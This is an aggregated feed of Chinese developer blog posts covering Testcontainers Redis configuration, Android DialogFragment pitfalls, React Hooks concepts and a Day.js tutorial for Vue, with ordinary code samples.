    private Integer redisLoginPort;
    @Value("${redis.password}")
    private String redisLoginPassword;

    @Bean
    public RedissonClient redissonClient() {
        return createRedis(redisLoginHost, redisLoginPort, redisLoginPassword);
    }

    private RedissonClient createRedis(String redisHost, Integer redisPort, String redisPassword) {
        Config config = new Config();
        SingleServerConfig singleServerConfig = config.useSingleServer();
        singleServerConfig.setAddress("redis://" + redisHost + ":" + redisPort + "");
/*        if (Objects.nonNull(redisPassword)) {
            singleServerConfig.setPassword(redisPassword);
        }*/
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.registerModule(new JavaTimeModule());
        config.setCodec(new JsonJacksonCodec(objectMapper));
        return Redisson.create(config);
    }

}

如果使用的是其他key,这里动态注入你设置的key即可

这样配置完成后我们就可以直接运行我们的集成测试代码了,比如我这里是testFirstCacheByCaffeine

测试

直接运行测试类,如果是初次运行我们观察log会发现有下载镜像的log,然后就是一些正常的docker启动log

然后可以看到我们的测试正常启动,无需要依赖外部的redis,我们在启动集成测试的时候testcontainers会自动帮我们启动相应的docker容器

总结

Testcontainers是一个非常好用的库,可以帮助我们在集成测试的时候脱离外部服务器的依赖,本地基于docker进行容器化集成测试

这样我们就可以更好的保证我们的集成测试的独立性,同时也可以更好的保证我们的测试的稳定性

一些常用的开源框架的集成测试也是基于Testcontainers来进行的

Testcontainers + ci/cd可以在每次代码修改后进行自动化测试,保证代码的质量

by 小奏技术 at January 22, 2025 12:15 PM

juejin android

Dialog Fragment使用注意事项

简介

  • DialogFragment 是一个专用于创建和托管对话框的特殊 fragment 子类。因其继承于Fragment,相比于传统的Dialog,具备了生命周期管理的能力,也能在自身的Fragment中,实现更为复杂的业务处理。

  • 但凡事都是有双面性的,在获得了更强的弹窗能力的同时,也会存在更多的使用注意事项,才能更好的使用Dialog Fragment,下面,将基于源码,从几个角度 阐述可能遇到的坑

DialogFragment 相关的特性

坑一:在使用Dialog Fragment组件时,不要在弹窗中自己注册监听器

Dialog Fragment本身已经实现了setOnCancelListener、setOnDismissListener,因此不建议我们自行实现该监听器,有监听需求时,实现onCancel于onDismiss 即可,若我们自行在创建弹窗时实现了listener,从下述源码可知,我们的监听器会被源码自己的listener进行覆盖,因此,自定义设置的listener会失效!!

image.png

image.png

坑二:设置弹窗不可取消相关属性时,需要调用Dialog Fragment的setCancelable方法,不能调用弹窗的相关方法

原因与坑一一致,一样会被系统覆盖掉
image.png

image.png

坑三:需要自行处理弹窗的状态保持能力

需求:A Activity 点击按钮展示ADialogFragment弹窗,并且监听弹窗的点击结果,根据结果更改AActivity界面的相关信息展示,可能的代码如下

//AActivity弹出弹窗并设置监听
Helper.show(this,"",object : OnDialogListener {
    override fun onClick() {
        textview.setText("弹窗触发点击事件")
    }
})

//方法实现
object Helper {
    fun show(
        activity: FragmentActivity,
        tag: String,listener:OnDialogListener
    ): MyDialogFragment {
        val dialog = MyDialogFragment()
        //设置监听器
        dialog.mListener = listener
        //展示弹窗
        dialog.show(activity.supportFragmentManager, tag)
        return dialog
    }
}

这样的代码看着没什么问题,但是当AActivity因某些原因触发重绘时(界面横竖屏切换)走re-create场景时,会发现,Dialog Fragment因其是Fragment的特性,弹窗依旧展示在界面上,但点击弹窗时,会发现textview并不会更新,原因是绑定Dialog Fragment的上一个Activity已经Destory了,当前重新onCreate出来的Activity并没有设置监听,因此功能存在异常

解决此类的方法比较多,可以在Dialog Fragment的onAttach方法中实现


override fun onAttach(context: Context) {
    super.onAttach(context)
    Log.e(TAG, "onAttach: ")
    // onAttach() 适合做监听器的绑定,在Activity  重绘的场景,即便设置了retainInstance依旧会重新attach,这里可以通过Attach对监听器进行重新的绑定(绑定新的Activity)
    //,但是这样写有缺陷,缺陷就是这个fragment的监听器,一定是Activity 实现的接口,没法使用匿名内部类的形式去实现了
    if ((context is OnDialogListener)) {
        mListener = context
    }
    //FragmentResultListener API ,也可以用来设置监听,能解决界面重绘场景下的listener失效问题
    //但缺点是需要Activity 在Activity创建阶段要实现这个listener,保证重建的Activity能监听到上个Activity注册的监听器
    }

坑四: 创建DialogF让们听时,一定要用默认构造方法

因为Dialog Fragment是继承于Fragment的,因此在创建时,也要遵循Fragment的创建要求,需要提供默认的构造方法,在创建时有参数要传递,使用setArguments的形式实现

image.png

附件

官方Dialog Fragment最佳实践

Demo代码



class MyDialogFragment : DialogFragment() {
   private val TAG = "MyDialogFragment"
   private var mListener: OnDialogListener? = null
   private var mDialog: AlertDialog? = null

   override fun onCreate(savedInstanceState: Bundle?) {
       super.onCreate(savedInstanceState)
       //retainInstance 作用,是当Activity 因各种原因重建时,保持fragment不重建,
       // 这样能保持弹窗中的成员变量等一些数据不被重制,是一个建议兼容页面重绘的能力,不用去onSaveInstanceState去处理字段保存的问题了
       // 但 这个其实已经不建议使用了,建议使用 ViewModel替代实现
       retainInstance = true
       Log.e(TAG, "onCreate: ")
   }


   override fun onAttach(context: Context) {
       super.onAttach(context)
       Log.e(TAG, "onAttach: ")
       // onAttach() 适合做监听器的绑定,在Activity  重绘的场景,即便设置了retainInstance依旧会重新attach,这里可以通过Attach对监听器进行重新的绑定(绑定新的Activity)
       //,但是这样写有缺陷,缺陷就是这个fragment的监听器,一定是Activity 实现的接口,没法使用匿名内部类的形式去实现了
       if ((context is OnDialogListener)) {
           mListener = context
       }
       //FragmentResultListener API ,也可以用来设置监听,能解决界面重绘场景下的listener失效问题
       //但缺点是需要Activity 在Activity创建阶段要实现这个listener,保证重建的Activity能监听到上个Activity注册的监听器
       }


   override fun onCreateDialog(savedInstanceState: Bundle?): Dialog {
       Log.e(TAG, "onCreateDialog: ")
       if (mDialog == null) {
           val view: View = LayoutInflater.from(requireActivity()).inflate(R.layout.dialog_layout, null)
           val builder: AlertDialog.Builder = AlertDialog.Builder(requireContext())
           builder.setTitle("Dialog Title")
               .setView(view)
               .setPositiveButton("OK", DialogInterface.OnClickListener { dialog, id ->
                   Log.e(TAG, "setPositiveButton: ")
                   // 执行某些操作
                   mListener?.onClick()
               })

               .setNegativeButton("Cancel", DialogInterface.OnClickListener { dialog, id -> dialog.dismiss() })
               //todo 注意,这里因为dialogFragment内部会设置listener,这里会失效,不能用这种实现方式
//                .setOnDismissListener {
//                    Log.e(TAG, "setOnDismissListener: ")
//                }
           mDialog = builder.create()
           val text = view.findViewById<EditText>(R.id.bind_service_test)
       }
       return mDialog!!

   }

   override fun onCancel(dialog: DialogInterface) {
       super.onCancel(dialog)
       Log.e(TAG, "onCancel: ")
   }

   override fun onDismiss(dialog: DialogInterface) {
       super.onDismiss(dialog)
       Log.e(TAG, "onDismiss: ")
   }

}

interface OnDialogListener {
   abstract fun onClick()
}

object Helper {
   fun show(
       activity: FragmentActivity,
       tag: String, listener: OnDialogListener
   ): MyDialogFragment {
       val dialog = MyDialogFragment()
       //设置额外参数
       dialog.arguments = Bundle().apply {
           putString("key", "value")
       }
       //展示弹窗
       dialog.show(activity.supportFragmentManager, tag)
       return dialog
   }

by 菜就多学 at January 22, 2025 12:15 PM

juejin frontend

useEffect 与 useLayoutEffect 有什么区别?

useEffectuseLayoutEffect 是 React 中用于处理副作用的两个 Hook,它们的主要区别在于执行时机使用场景。理解它们的区别对于优化性能和避免 UI 问题非常重要。


1. 共同点

  • 两者都用于在函数组件中执行副作用操作(如数据获取、DOM 操作、订阅等)。
  • 两者的 API 完全相同,接收两个参数:
    • 一个副作用函数。
    • 一个依赖项数组(可选)。

2. 区别

1. 执行时机

  • useEffect

    • 副作用函数在浏览器完成渲染之后异步执行
    • 不会阻塞浏览器的渲染过程。
    • 适合大多数副作用操作,尤其是那些不需要立即更新 DOM 的场景。
  • useLayoutEffect

    • 副作用函数在浏览器完成渲染之前同步执行
    • 会阻塞浏览器的渲染过程,直到副作用函数执行完毕。
    • 适合需要同步更新 DOM 的场景,例如在渲染之前测量 DOM 元素或更新布局。

2. 使用场景

  • useEffect

    • 数据获取(如调用 API)。
    • 订阅事件。
    • 不需要立即更新 DOM 的操作。
  • useLayoutEffect

    • 需要同步更新 DOM 的操作(如调整元素尺寸或位置)。
    • 在渲染之前测量 DOM 元素。
    • 避免 UI 闪烁(例如,在渲染之前更新样式)。

3. 执行顺序

  1. 组件渲染。
  2. useLayoutEffect 的副作用函数同步执行。
  3. 浏览器绘制 DOM。
  4. useEffect 的副作用函数异步执行。

4. 代码示例

以下代码演示了 useEffectuseLayoutEffect 的执行顺序:

import React, { useEffect, useLayoutEffect, useState } from 'react';

function App() {
  const [value, setValue] = useState(0);

  useEffect(() => {
    console.log('useEffect - 异步执行');
  }, [value]);

  useLayoutEffect(() => {
    console.log('useLayoutEffect - 同步执行');
  }, [value]);

  return (
    <div>
      <p>{value}</p>
      <button onClick={() => setValue(value + 1)}>增加</button>
    </div>
  );
}

export default App;

输出结果:

  1. useLayoutEffect - 同步执行
  2. useEffect - 异步执行

5. 使用场景示例

useEffect 示例:数据获取

useEffect(() => {
  fetch('/api/data')
    .then(response => response.json())
    .then(data => setData(data));
}, []);

useLayoutEffect 示例:同步更新 DOM

useLayoutEffect(() => {
  const element = document.getElementById('my-element');
  if (element) {
    element.style.width = '100px'; // 同步更新 DOM
  }
}, []);

6. 注意事项

  1. 性能影响

    • useLayoutEffect 是同步执行的,可能会阻塞浏览器的渲染,导致性能问题。除非必要,否则应优先使用 useEffect
  2. 服务端渲染(SSR)

    • 在服务端渲染时,useLayoutEffect 不会执行,因为此时没有 DOM。如果需要在 SSR 中使用,可以考虑使用 useEffect 或在 useLayoutEffect 中添加条件判断。
  3. 避免 UI 闪烁

    • 如果某些操作(如更新样式)在 useEffect 中执行会导致 UI 闪烁,可以尝试将其移到 useLayoutEffect 中。

7. 总结

特性useEffectuseLayoutEffect
执行时机浏览器渲染之后异步执行浏览器渲染之前同步执行
是否阻塞渲染
使用场景数据获取、订阅事件等同步更新 DOM、测量 DOM 元素等
性能影响较小较大(可能阻塞渲染)
服务端渲染支持支持不支持
  • 优先使用 useEffect,除非需要在渲染之前同步更新 DOM。
  • 在需要避免 UI 闪烁或同步操作 DOM 时,使用 useLayoutEffect

by 我是区块链小学生 at January 22, 2025 11:59 AM

说说React事件和原生事件的执行顺序

在 React 中,事件处理机制与原生 DOM 事件有所不同。React 实现了一套自己的合成事件系统(Synthetic Event),它是对原生 DOM 事件的一层封装。理解 React 事件和原生事件的执行顺序对于调试和优化应用程序非常重要。


1. React 合成事件系统

React 的合成事件系统主要有以下特点:

  • 跨浏览器兼容性:React 事件在不同浏览器中表现一致。
  • 事件委托:React 将所有事件委托到文档的根节点(documentroot),而不是直接绑定到具体的 DOM 元素。
  • 性能优化:通过事件池(event pooling)复用事件对象,减少内存开销。

2. 事件执行顺序

React 事件和原生事件的执行顺序取决于事件的绑定方式和传播阶段(捕获阶段和冒泡阶段)。

事件传播阶段:

  1. 捕获阶段(Capture Phase):事件从根节点向下传播到目标节点。
  2. 目标阶段(Target Phase):事件到达目标节点。
  3. 冒泡阶段(Bubble Phase):事件从目标节点向上传播到根节点。

执行顺序:

  1. 原生事件的捕获阶段:如果原生事件绑定了捕获阶段的监听器,会先执行。
  2. React 事件的捕获阶段:如果 React 事件绑定了捕获阶段的监听器,会接着执行。
  3. 原生事件的目标阶段:执行目标节点上的原生事件监听器。
  4. React 事件的目标阶段:执行目标节点上的 React 事件监听器。
  5. 原生事件的冒泡阶段:执行原生事件的冒泡阶段监听器。
  6. React 事件的冒泡阶段:执行 React 事件的冒泡阶段监听器。

3. 代码示例

以下代码演示了 React 事件和原生事件的执行顺序:

import React, { useEffect } from 'react';

function App() {
  useEffect(() => {
    const parent = document.getElementById('parent');
    const child = document.getElementById('child');

    // 原生事件 - 捕获阶段
    parent.addEventListener('click', () => {
      console.log('原生事件 - 父元素捕获');
    }, true);

    // 原生事件 - 冒泡阶段
    parent.addEventListener('click', () => {
      console.log('原生事件 - 父元素冒泡');
    }, false);

    // 原生事件 - 捕获阶段
    child.addEventListener('click', () => {
      console.log('原生事件 - 子元素捕获');
    }, true);

    // 原生事件 - 冒泡阶段
    child.addEventListener('click', () => {
      console.log('原生事件 - 子元素冒泡');
    }, false);
  }, []);

  const handleParentClickCapture = () => {
    console.log('React 事件 - 父元素捕获');
  };

  const handleParentClickBubble = () => {
    console.log('React 事件 - 父元素冒泡');
  };

  const handleChildClickCapture = () => {
    console.log('React 事件 - 子元素捕获');
  };

  const handleChildClickBubble = () => {
    console.log('React 事件 - 子元素冒泡');
  };

  return (
    <div
      id="parent"
      onClick={handleParentClickBubble}
      onClickCapture={handleParentClickCapture}
    >
      <div
        id="child"
        onClick={handleChildClickBubble}
        onClickCapture={handleChildClickCapture}
      >
        点击我
      </div>
    </div>
  );
}

export default App;

输出结果:

  1. 原生事件 - 父元素捕获
  2. React 事件 - 父元素捕获
  3. 原生事件 - 子元素捕获
  4. React 事件 - 子元素捕获
  5. 原生事件 - 子元素冒泡
  6. React 事件 - 子元素冒泡
  7. 原生事件 - 父元素冒泡
  8. React 事件 - 父元素冒泡

4. 关键点总结

  1. 捕获阶段优先于冒泡阶段

    • 无论是原生事件还是 React 事件,捕获阶段都会先于冒泡阶段执行。
  2. 原生事件优先于 React 事件

    • 在同一阶段(捕获或冒泡),原生事件的监听器会先于 React 事件的监听器执行。
  3. React 事件委托到根节点

    • React 将所有事件委托到根节点(documentroot),而不是直接绑定到具体的 DOM 元素。
  4. 事件池机制

    • React 的合成事件对象会被复用,因此在异步代码中访问事件对象时,需要调用 event.persist() 来保留事件对象。

5. 注意事项

  • 避免混用原生事件和 React 事件
    • 如果同时使用原生事件和 React 事件,可能会导致事件处理逻辑混乱,增加调试难度。
  • 阻止事件传播
    • 在 React 事件中调用 event.stopPropagation() 只会阻止 React 事件的传播,不会影响原生事件。如果需要完全阻止事件传播,需要同时处理原生事件和 React 事件。

6. 总结

  • React 合成事件系统是对原生事件的封装,提供了跨浏览器兼容性和性能优化。
  • 事件执行顺序遵循捕获阶段优先于冒泡阶段,原生事件优先于 React 事件。
  • 理解事件执行顺序有助于更好地调试和优化 React 应用程序。

by 我是区块链小学生 at January 22, 2025 11:51 AM

为什么不能在循环、条件或嵌套函数中调用 Hooks?

React Hooks 的设计规则之一是 “只在最顶层使用 Hooks”,也就是说,不能在循环、条件或嵌套函数中调用 Hooks。这条规则的核心原因是 React 依赖于 Hooks 的调用顺序来管理状态和生命周期。如果违反这条规则,会导致 Hooks 的调用顺序不一致,从而引发难以调试的 bug。


1. React 如何管理 Hooks?

React 内部使用一个 “调用顺序链表” 来跟踪和管理 Hooks。每次组件渲染时,React 都会按照 Hooks 的调用顺序来更新链表中的值。

例如:

function MyComponent() {
  const [name, setName] = useState('Alice'); // Hook 1
  const [age, setAge] = useState(25);        // Hook 2
  useEffect(() => {                          // Hook 3
    console.log('Component mounted');
  }, []);
  // ...
}

在第一次渲染时,React 会记录 Hooks 的调用顺序:

  1. useStatename
  2. useStateage
  3. useEffect → 副作用函数

在后续渲染中,React 会严格按照这个顺序来匹配 Hooks 的状态和副作用。


2. 为什么不能在循环、条件或嵌套函数中调用 Hooks?

如果在循环、条件或嵌套函数中调用 Hooks,会导致 Hooks 的调用顺序不一致,从而破坏 React 对 Hooks 的管理。

示例 1:条件语句中调用 Hooks

function MyComponent({ isLoggedIn }) {
  if (isLoggedIn) {
    const [name, setName] = useState('Alice'); // Hook 1
  }
  const [age, setAge] = useState(25);          // Hook 2
  // ...
}
  • 如果 isLoggedIntrue,Hooks 的调用顺序是:
    1. useStatename
    2. useStateage
  • 如果 isLoggedInfalse,Hooks 的调用顺序是:
    1. useStateage

此时,React 无法正确匹配 age 的状态,因为调用顺序发生了变化,可能导致 bug。

示例 2:循环中调用 Hooks

function MyComponent({ items }) {
  for (let i = 0; i < items.length; i++) {
    const [value, setValue] = useState(items[i]); // Hook 1, 2, 3, ...
  }
  // ...
}
  • 每次渲染时,items.length 可能不同,导致 Hooks 的调用顺序不一致。
  • React 无法确定每个 useState 对应的状态,从而导致混乱。

示例 3:嵌套函数中调用 Hooks

function MyComponent() {
  function handleClick() {
    const [count, setCount] = useState(0); // 错误:嵌套函数中调用 Hook
  }
  // ...
}
  • 嵌套函数中的 Hooks 不会在组件渲染时被调用,因此 React 无法正确管理它们。

3. 如何避免这些问题?

为了确保 Hooks 的调用顺序一致,必须遵循以下规则:

  1. 始终在函数组件的顶层调用 Hooks

    • 不要在循环、条件或嵌套函数中调用 Hooks。
    • 确保每次渲染时 Hooks 的调用顺序完全相同。
  2. 将条件逻辑移到 Hooks 内部

    • 如果需要在某些条件下使用 Hooks,可以将条件逻辑移到 Hooks 内部。

正确示例:

function MyComponent({ isLoggedIn }) {
  const [name, setName] = useState(isLoggedIn ? 'Alice' : ''); // 条件逻辑在 Hook 内部
  const [age, setAge] = useState(25);
  // ...
}
  1. 使用 useEffect 处理副作用
    • 如果需要在某些条件下执行副作用,可以在 useEffect 内部添加条件判断。

正确示例:

function MyComponent({ isLoggedIn }) {
  useEffect(() => {
    if (isLoggedIn) {
      console.log('User is logged in');
    }
  }, [isLoggedIn]); // 依赖项变化时执行
  // ...
}

4. React 如何检测违规行为?

React 提供了一个 ESLint 插件(eslint-plugin-react-hooks),用于检测 Hooks 的违规使用。如果违反了 Hooks 的规则,React 会在开发模式下抛出错误。

例如:

React Hook "useState" is called conditionally. React Hooks must be called in the exact same order in every component render.

5. 总结

  • React 依赖于 Hooks 的调用顺序来管理状态和副作用。
  • 在循环、条件或嵌套函数中调用 Hooks 会导致调用顺序不一致,从而引发 bug。
  • 始终在函数组件的顶层调用 Hooks,并将条件逻辑移到 Hooks 内部。
  • 使用 ESLint 插件可以帮助检测和避免违规行为。

by 我是区块链小学生 at January 22, 2025 11:49 AM

我们应该在什么场景下使用 useMemo 和 useCallback ?

useMemouseCallback 是 React 中用于性能优化的两个 Hook,它们的作用是缓存值和函数,以避免不必要的重新计算或重新创建。虽然它们的功能相似,但适用场景有所不同。以下是它们的具体使用场景和区别:


1. useMemo

useMemo 用于缓存一个值,避免在每次渲染时都重新计算该值。

使用场景:

  • 计算开销大的值:当某个值的计算逻辑比较复杂(例如,涉及大量数据运算或遍历)时,可以使用 useMemo 缓存结果。
  • 依赖项变化时重新计算:只有当依赖项发生变化时,才会重新计算值,否则直接返回缓存的值。
  • 避免不必要的渲染:当某个值作为 props 传递给子组件时,使用 useMemo 可以避免子组件因值的变化而重新渲染。

示例:

const expensiveValue = useMemo(() => {
  // 复杂的计算逻辑
  return computeExpensiveValue(a, b);
}, [a, b]); // 只有当 a 或 b 变化时,才会重新计算

适用场景:

  1. 计算列表的过滤结果或排序结果。
  2. 格式化或处理大量数据。
  3. 避免将不必要的重新计算传递给子组件。

2. useCallback

useCallback 用于缓存一个函数,避免在每次渲染时都重新创建该函数。

使用场景:

  • 函数作为依赖项:当某个函数被传递给子组件,或者作为其他 Hook 的依赖项时,使用 useCallback 可以避免因函数重新创建而导致的子组件重新渲染或 Hook 重新执行。
  • 优化事件处理函数:当事件处理函数依赖于某些状态或属性时,使用 useCallback 可以确保函数的引用稳定。

示例:

const handleClick = useCallback(() => {
  // 处理点击事件
  console.log('Clicked:', value);
}, [value]); // 只有当 value 变化时,才会重新创建函数

适用场景:

  1. 将函数作为 props 传递给子组件。
  2. 函数作为 useEffect 或其他 Hook 的依赖项。
  3. 避免因函数重新创建而导致的子组件重新渲染。

3. useMemo 和 useCallback 的区别

特性useMemouseCallback
返回值缓存一个值缓存一个函数
适用场景缓存计算结果缓存函数引用
优化目标避免重复计算避免函数重新创建
依赖项变化依赖项变化时重新计算值依赖项变化时重新创建函数
示例const value = useMemo(() => a + b, [a, b]);const fn = useCallback(() => {}, [a, b]);

4. 使用注意事项

  1. 不要过度使用

    • useMemouseCallback 本身也有一定的开销(例如,依赖项的比较和缓存管理),因此不应滥用。
    • 只有在确实需要优化性能时(例如,计算开销大或组件渲染频繁)才使用它们。
  2. 依赖项数组

    • 确保依赖项数组中的值是正确的,否则可能导致缓存失效或意外的行为。
    • 如果依赖项数组为空([]),则值或函数只会在组件挂载时计算或创建一次。
  3. 与 React.memo 结合使用

    • useMemouseCallback 用于优化传递给子组件的 props 时,可以结合 React.memo 进一步优化子组件的渲染性能。

5. 示例:结合使用 useMemo 和 useCallback

import React, { useState, useMemo, useCallback } from 'react';

function ExpensiveComponent({ value, onClick }) {
  // 假设这是一个渲染开销较大的组件
  return <button onClick={onClick}>{value}</button>;
}

function ParentComponent() {
  const [a, setA] = useState(1);
  const [b, setB] = useState(2);

  // 缓存计算结果
  const sum = useMemo(() => {
    console.log('Calculating sum...');
    return a + b;
  }, [a, b]);

  // 缓存函数
  const handleClick = useCallback(() => {
    console.log('Sum:', sum);
  }, [sum]);

  return (
    <div>
      <ExpensiveComponent value={sum} onClick={handleClick} />
      <button onClick={() => setA(a + 1)}>Update A</button>
      <button onClick={() => setB(b + 1)}>Update B</button>
    </div>
  );
}

6. 总结

  • useMemo:用于缓存计算结果,适用于计算开销大的场景。
  • useCallback:用于缓存函数引用,适用于函数作为 props 或依赖项的场景。
  • 两者都应谨慎使用,避免过度优化。在实际开发中,结合 React.memo 可以进一步提升性能。

by 我是区块链小学生 at January 22, 2025 11:46 AM

讲讲 React.memo 和 JS 的 memorize 函数的区别

React.memo 和 JavaScript 的 memoize 函数都用于优化性能,但它们的作用场景和实现方式有所不同。

1. React.memo

React.memo 是 React 提供的一个高阶组件(HOC),用于优化函数组件的渲染性能。它的作用是避免不必要的重新渲染。

工作原理:

  • React.memo 会对组件的 props 进行浅比较(shallow comparison),如果 props 没有变化,则跳过重新渲染,直接复用上一次的渲染结果。
  • 你可以自定义比较函数,来更精确地控制何时重新渲染。

使用场景:

  • 当一个组件的渲染开销较大,且 props 变化不频繁时,使用 React.memo 可以有效减少不必要的渲染。

示例:

const MyComponent = React.memo(function MyComponent(props) {
  // 组件逻辑
});

// 自定义比较函数
const MyComponent = React.memo(
  function MyComponent(props) {
    // 组件逻辑
  },
  (prevProps, nextProps) => {
    // 返回 true 表示跳过重新渲染,false 表示需要重新渲染
    return prevProps.value === nextProps.value;
  }
);

特点:

  • 专门用于 React 函数组件。
  • 基于 props 的浅比较来优化渲染。
  • 可以自定义比较逻辑。

2. JavaScript 的 memoize 函数

memoize 是一种通用的 JavaScript 优化技术,通常用于缓存函数的计算结果,避免重复计算。

工作原理:

  • memoize 会缓存函数的输入参数和对应的返回值。当函数再次被调用时,如果输入参数与之前相同,则直接返回缓存的结果,而不重新执行函数。

使用场景:

  • 适用于计算密集型函数,尤其是当函数的输入参数变化不频繁时。
  • 可以用于任何 JavaScript 函数,不限于 React。

示例:

function memoize(fn) {
  const cache = new Map();
  return function (...args) {
    const key = JSON.stringify(args);
    if (cache.has(key)) {
      return cache.get(key);
    }
    const result = fn(...args);
    cache.set(key, result);
    return result;
  };
}

// 示例函数
function expensiveCalculation(a, b) {
  return a + b; // 假设这是一个计算开销很大的操作
}

const memoizedCalculation = memoize(expensiveCalculation);

console.log(memoizedCalculation(2, 3)); // 第一次计算,缓存结果
console.log(memoizedCalculation(2, 3)); // 直接返回缓存结果

特点:

  • 通用的 JavaScript 优化技术。
  • 基于输入参数的缓存机制。
  • 适用于任何函数,不限于 React。

3. 主要区别

特性React.memoJavaScript 的 memoize
作用对象React 函数组件任何 JavaScript 函数
优化目标避免组件不必要的重新渲染避免函数重复计算
缓存机制基于 props 的浅比较基于输入参数的缓存
使用场景优化 React 组件的渲染性能优化计算密集型函数的性能
自定义逻辑可以自定义 props 比较函数可以自定义缓存键(key)生成逻辑

4. 总结

  • React.memo 是 React 特有的优化工具,用于避免组件的不必要渲染。
  • memoize 是通用的 JavaScript 优化技术,用于缓存函数的计算结果。
  • 两者虽然都涉及缓存和性能优化,但解决的问题和适用场景不同。在实际开发中,可以根据需求选择合适的技术,甚至结合使用。

by 我是区块链小学生 at January 22, 2025 11:44 AM

研究 Day.js 及其在 Vue3 和 Vue 框架中的应用详解

image

前言

  在前端开发中,日期和时间处理是一个常见需求。随着技术的发展,我们有了更多高效、灵活的日期库可供选择。Day.js 就是一个轻量级、易于使用的 JavaScript 日期库,其灵感来源于 Moment.js,但体积更小,速度更快。本文将深入探讨 Day.js 在 Vue3 和 Vue 框架中的应用,帮助开发者更高效地处理日期和时间问题。

一、Day.js 概述

1.1 Day.js 是什么

  Day.js 是一个小巧且快速的 JavaScript 日期库,提供了与 Moment.js 类似的 API,但体积更小,加载速度更快。Day.js 支持多种语言,易于定制,非常适合在前端开发中处理日期和时间问题。

image

  各个传入的单位对大小写不敏感,支持缩写和复数。请注意,缩写是区分大小写的。支持的单位列表如下所示:

单位缩写描述
dateD日期 [1,31]
dayd星期[0,6] (星期日0,星期六6)
monthM月份 0,11
yeary年 [1,31]
hourh小时 [0,23]
minutem分钟 [0,59]
seconds秒 [0,59]
millisecondms毫秒 [0,999]

1.2 Day.js 的安装与引入

1.2.1 Node 项目安装

  在 Vue 项目中使用 Day.js,首先需要安装 day.js 库,我们可以通过以下几种方式来进行安装。

# npm 安装
npm install dayjs

# cnpm 安装
cnpm install dayjs -S

# yarn 安装
yarn add dayjs

# pnpm 安装
pnpm add dayjs

  然后在项目代码中引入即可:

var dayjs = require('dayjs')
// ES 2015
import dayjs from 'dayjs'

1.2.2 浏览器安装

  若是想在浏览器使用,可以引入相关依赖,这里采用 CDN 方式,如下所示:

<script src="https://cdn.jsdelivr.net/npm/dayjs/dayjs.min.js"></script>

  注意:Day.js可以通过CDN提供商,如:cdnjs.comunpkgjsdelivrbootcdn.cn等引入

1.2.3 Element-plus

  Element-plus 组件库默认支持 dayjs 进行日期时间处理,所以可以直接导入使用,如下所示:

import { createApp } from 'vue'
// 引入element-plus
import ElementPlus from 'element-plus'
import 'element-plus/dist/index.css'
// 引入dayjs日期插件
import dayjs from "dayjs"
// 直接引入 element-plus 中的 dayjs日期插件
// import { dayjs } from 'element-plus';
import App from './App.vue'

const app = createApp(App)
// 使用element-plus
app.use(ElementPlus)
// 全局使用dayjs
app.config.globalProperties.$dayjs=dayjs
app.mount('#app')

  默认情况下,Day.js 只提供核心代码,没有安装插件,我们可以根据需要加载多个插件,如下所示:

// 扩展插件
import isSameOrBefore from 'dayjs/plugin/isSameOrBefore'
import isSameOrAfter from 'dayjs/plugin/isSameOrAfter'
dayjs.extend(isSameOrBefore)
dayjs.extend(isSameOrAfter)

Typescript

  在 NPM 包中已经包含 Day.js 的 TypeScript 类型定义文件,可以直接通过 NPM 安装:

npm install dayjs --save

  然后在 TypeScript 项目中导入并使用

import * as dayjs from 'dayjs'
dayjs().format()

  如果项目的 tsconfig.json 包含以下配置,就必须使用 import dayjs from 'dayjs' 的 default import 模式

{
  "compilerOptions": {
    "esModuleInterop": true,
    "allowSyntheticDefaultImports": true,
  }
}

  如果项目中没有上述配置,default import 将无法正常工作,还需要使用以下方式

import * as dayjs from 'dayjs'

1.3 导入本地化语言和插件

  在使用本地化语言和插件,首先需要导入它们。

import * as dayjs from 'dayjs'
// 导入插件
import * as isLeapYear from 'dayjs/plugin/isLeapYear'
// 导入本地化语言
import 'dayjs/locale/zh-cn'
// 使用插件
dayjs.extend(isLeapYear)
// 使用本地化语言
dayjs.locale('zh-cn')

二、Day.js 基本使用

  Day.js 提供了丰富的日期和时间处理功能,包括格式化、解析、比较、操作等,以下是一些常用功能。

2.1 获取当前时间

  Day.js对 Date 对象进行了封装,只需要调用 Dayjs() 即可。Day.js 对象是不可变的,也就是说,以某种方式改变 Day.js 对象的所有API操作都将返回它的一个新实例。Day.js 对象,即当前时间,其等价于 dayjs(Date.now())dayjs(new Date())

var now = dayjs()

  上述方法等同于 dayjs(new Date()) 的调用,当没有传入参数时,参数默认值是 undefined,所以调用 dayjs(undefined) 就相当于调用 dayjs()。注意,Day.js 将 dayjs(null) 视为无效的输入。

2.2 操作

  在实际项目中,有时可能需要一些方法来操作 Day.js 对象。把 dayjs() 对象当成一个中转站,往后所有的关于日期的计算都先转成 dayjs() 对象,再进行加减等运行。

取值/赋值

  在设计上 Day.js 的 getter 和 setter 使用了相同的 API,也就是说,不传参数调用方法即为 getter,调用并传入参数为 setter。这些 API 调用了对应原生 Date 对象的方法,如下表所示:

序号方法简要说明
1millisecond获取或设置毫秒。接受0到999的数值,如果超出这个范围,它会进位到秒。
2second获取或设置秒。接受0到59的数值,如果超出这个范围,它会进位到分钟。
3minute获取或设置分钟。接受0到59的数值,如果超出这个范围,它会进位到小时。
4hour获取或设置小时。接受0到23的数值,如果超出这个范围,它会进位到天数。
5date获取或设置月份里的日期。接受1到31的数值,如果超出这个范围,它会进位到月份。
6day获取或设置星期几。接受number 从0(星期天)到6(星期六),如果超出这个范围,它会进位到其他周。
7weekday根据本地化配置获取或设置星期几,此功能依赖 Weekday 插件。
如果本地化配置了星期天为一周的第一天, dayjs().weekday(0) 将返回星期天。
如果星期一是一周的第一天, dayjs().weekday(0) 将返回星期一。
8dayOfYear获取或设置年份里第几天,此功能依赖 DayOfYear 插件。
接受1到366的数值,如果超出这个范围,它会进位到下一年。
9week获取或设置该年的第几周,此功能依赖 WeekOfYear 插件。
10month获取或设置月份。月份是从 0 开始计算的,即 1 月是 0。
接受 0 到11的数值。 如果超出这个范围,它会进位到年份。
11quarter获取或设置季度。此功能依赖 QuarterOfYear 插件
12year获取或设置年份。
13weekYear获取基于当前语言配置的按周计算的年份,此功能依赖 WeekYear 插件。
14isoWeeksInYear获取当前年份的周数,此功能依赖 IsoWeeksInYear 插件
// 年份
dayjs().year()
// 月份
dayjs().month()
// 日
dayjs().date()
// 时
dayjs().hour()
// 分
dayjs().minute()
// 秒
dayjs().second()
// 毫秒
dayjs().millisecond()

  从 Day.js 对象中获取相应信息的 getter,例如:

console.log("dayjs().get('year'):", dayjs().get("year")); //年 [1,366]
